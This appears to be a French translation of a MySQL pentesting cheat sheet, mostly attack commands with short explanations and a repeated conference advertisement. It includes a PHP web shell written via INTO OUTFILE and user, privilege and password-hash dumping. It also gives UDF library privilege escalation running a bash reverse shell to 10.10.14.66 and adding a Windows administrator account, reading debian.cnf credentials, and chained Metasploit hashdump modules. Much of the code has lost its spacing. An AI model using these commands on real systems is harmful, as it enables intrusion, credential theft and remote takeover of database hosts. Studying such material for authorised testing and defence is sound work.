RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
MySQL peut être décrit comme un Système de Gestion de Base de Données Relationnelle (SGBDR) open source disponible gratuitement. Il fonctionne sur le Langage de Requête Structuré (SQL), permettant la gestion et la manipulation de bases de données.
Port par défaut : 3306
3306/tcp open mysql
Connecter
Local
mysql-uroot# Connect to root without passwordmysql-uroot-p# A password will be asked (check someone)
showdatabases;use<database>;connect<database>;showtables;describe<table_name>;showcolumnsfrom<table>;selectversion(); #versionselect @@version(); #versionselect user(); #Userselect database(); #database name#Get a shell with the mysql client user\!sh#Basic MySQLiUnionSelect1,2,3,4,group_concat(0x7c,table_name,0x7C) frominformation_schema.tablesUnionSelect1,2,3,4,column_namefrominformation_schema.columnswheretable_name="<TABLE NAME>"#Read & Write## Yo need FILE privilege to read & write to files.select load_file('/var/lib/mysql-files/key.txt'); #Read fileselect 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'#Try to change MySQL root passwordUPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';FLUSH PRIVILEGES;quit;
mysql-uusername-p<manycommands.sql#A file with all the commands you want to executemysql-uroot-h127.0.0.1-e'show databases;'
Énumération des autorisations MySQL
#MysqlSHOW GRANTS [FOR user];SHOW GRANTS;SHOW GRANTS FOR'root'@'localhost';SHOW GRANTS FORCURRENT_USER();# Get users, permissions & hashesSELECT*FROM mysql.user;#From DBselect*from mysql.user where user='root';## Get users with file_privselect user,file_priv from mysql.user where file_priv='Y';## Get users with Super_privselect user,Super_priv from mysql.user where Super_priv='Y';# List functionsSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION';#@ Functions notfrom sys. dbSELECT routine_name FROM information_schema.routines WHERE routine_type ='FUNCTION'AND routine_schema!='sys';
Lecture arbitraire de fichiers MySQL par le client
En fait, lorsque vous essayez de charger des données locales dans une table, le contenu d'un fichier le serveur MySQL ou MariaDB demande au client de le lire et d'envoyer le contenu. Ensuite, si vous pouvez altérer un client MySQL pour se connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.
Veuillez noter que c'est le comportement en utilisant:
(Noticez le mot "local")
Parce que sans le "local" vous pouvez obtenir :
mysql> loaddatainfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';ERROR1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité :
Le paramètre user est utilisé pour désigner l'utilisateur sous lequel le service MySQL sera exécuté.
password est appliqué pour établir le mot de passe associé à l'utilisateur MySQL.
admin_address spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative.
La variable debug indique les configurations de débogage actuelles, y compris les informations sensibles dans les journaux.
sql_warnings gère si des chaînes d'informations sont générées pour les instructions d'INSERT d'une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux.
Avec secure_file_priv, la portée des opérations d'importation et d'exportation de données est limitée pour renforcer la sécurité.
Élévation de privilèges
# Get current user (an all users) privileges and hashesusemysql;selectuser();selectuser,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_privfromuser;# Get users, permissions & credsSELECT*FROMmysql.user;mysql-uroot--password=<PASSWORD>-e"SELECT * FROM mysql.user;"# Create user and give privilegescreateusertestidentifiedby'test';grantSELECT,CREATE,DROP,UPDATE,DELETE,INSERTon*.*tomysqlidentifiedby'mysql'WITHGRANTOPTION;# Get a shell (with your permissions, usefull for sudo/suid privesc)\!sh
Élévation de privilèges via une bibliothèque
Si le serveur mysql fonctionne en tant que root (ou un utilisateur plus privilégié), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des fonctions définies par l'utilisateur. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une bibliothèque pour le système d'exploitation sur lequel mysql s'exécute.
La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en exécutant locate "*lib_mysqludf_sys*". Les fichiers .so sont des bibliothèques Linux et les .dll sont ceux de Windows, choisissez celui dont vous avez besoin.
Si vous ne possédez pas ces bibliothèques, vous pouvez soit les rechercher, soit télécharger ce code C Linux et le compiler à l'intérieur de la machine Linux vulnérable:
Maintenant que vous avez la bibliothèque, connectez-vous à Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes :
Linux
# Use a databaseuse mysql;# Create a tabletoload the library andmove it to the plugins dircreatetablenpn(line blob);# Load the binary library inside the table## You might need to change the pathandfilenameinsert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));# Get the plugin_dir pathshow variables like'%plugin%';# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/# dumpin there the libraryselect*from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';# Create a functiontoexecute commandscreatefunctionsys_execreturnsinteger soname 'lib_mysqludf_sys.so';# Execute commandsselect sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
Windows
# CHech the linux comments for more indicationsUSE mysql;CREATETABLEnpn(line blob);INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));show variables like'%plugin%';SELECT*FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';CREATEFUNCTIONsys_execRETURNSinteger SONAME 'lib_mysqludf_sys_32.dll';SELECT sys_exec("net user npn npn12345678 /add");SELECT sys_exec("net localgroup Administrators npn /add");
Extraction des identifiants MySQL à partir des fichiers
À l'intérieur de /etc/mysql/debian.cnf, vous pouvez trouver le mot de passe en texte clair de l'utilisateur debian-sys-maint
cat/etc/mysql/debian.cnf
Vous pouvez utiliser ces identifiants pour vous connecter à la base de données MySQL.
À l'intérieur du fichier : /var/lib/mysql/mysql/user.MYD vous pouvez trouver tous les hachages des utilisateurs MySQL (ceux que vous pouvez extraire de mysql.user à l'intérieur de la base de données).
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
RootedCON est l'événement le plus pertinent en matière de cybersécurité en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.